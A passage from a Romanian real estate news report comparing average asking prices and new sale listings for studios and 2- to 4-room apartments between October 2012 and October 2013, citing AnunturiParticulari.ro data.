Asadar, daca in octombrie 2012 proprietarii solicitau un pret mediu pentru garsoniere de 36.765 de euro, in octombrie 2013 pentru o garsoniera vanzatorii cereau cu 8% mai putin, adica 33.755 de euro. In timp ce, in ultima luna, preturile medii solicitate pentru garsoniere au crescut cu 2%.

O reducere de 6% a fost aplicata pentru locuintele cu 2 camere in ultimele 12 luni. Asadar, pretul mediu solicitat pentru un apartament cu 2 camere a ajuns, in octombrie 2013, la 52.222 de euro, fata de 55.740 de euro, valoare inregistrata in octombrie 2012. In ultima luna preturile medii solicitate pentru apartamentele cu 2 camere au scazut cu 1,5%.

In ceea ce priveste preturile medii solicitate pentru locuintele cu 3 camere, acestea au fost ajustate cu 9% in ultimul an. Daca in octombrie 2013 proprietarii solicitau preturi medii de 71.252 de euro, in octombrie 2012, vanzatorii cereau 78.050 de euro. In ultima luna preturile medii solicitate pentru apartamentele cu 3 camere au scazut cu 2,4%.

Proprietarii care vand locuinte cu 4 camere au facut reduceri de 2% in ultimele 12 luni, atingand o valoare de aproape 92.327 de euro. In ultima luna preturile medii solicitate pentru apartamentele cu 4 camere au scazut cu 3%.

Numarul de oferte

Numarul de oferteAproape 2.540 de oferte noi de vanzare de apartamente au intrat in piata in luna octombrie 2013, conform datelor furnizate de raportul AnunturiParticulari.ro.

In octombrie 2013, numarul ofertelor noi de vanzare aparute a crescut cu 9% fata aceeasi perioada din 2012.

Oferta de garsoniere a ajuns la 490 de unitati, in timp ce numarul de anunturi cu vanzarea unei locuinte cu doua camere a atins numarul de 1.079.

In cazul ofertei de vanzare a locuintelor cu 3 camere, aceasta a ajuns la 775 de unitati la sfasitul lunii octombrie 2013. Pe segmentul apartamentelor cu 4 camere circa 196 de proprietari au facut publice intentiile lor de vanzare, in ultima luna.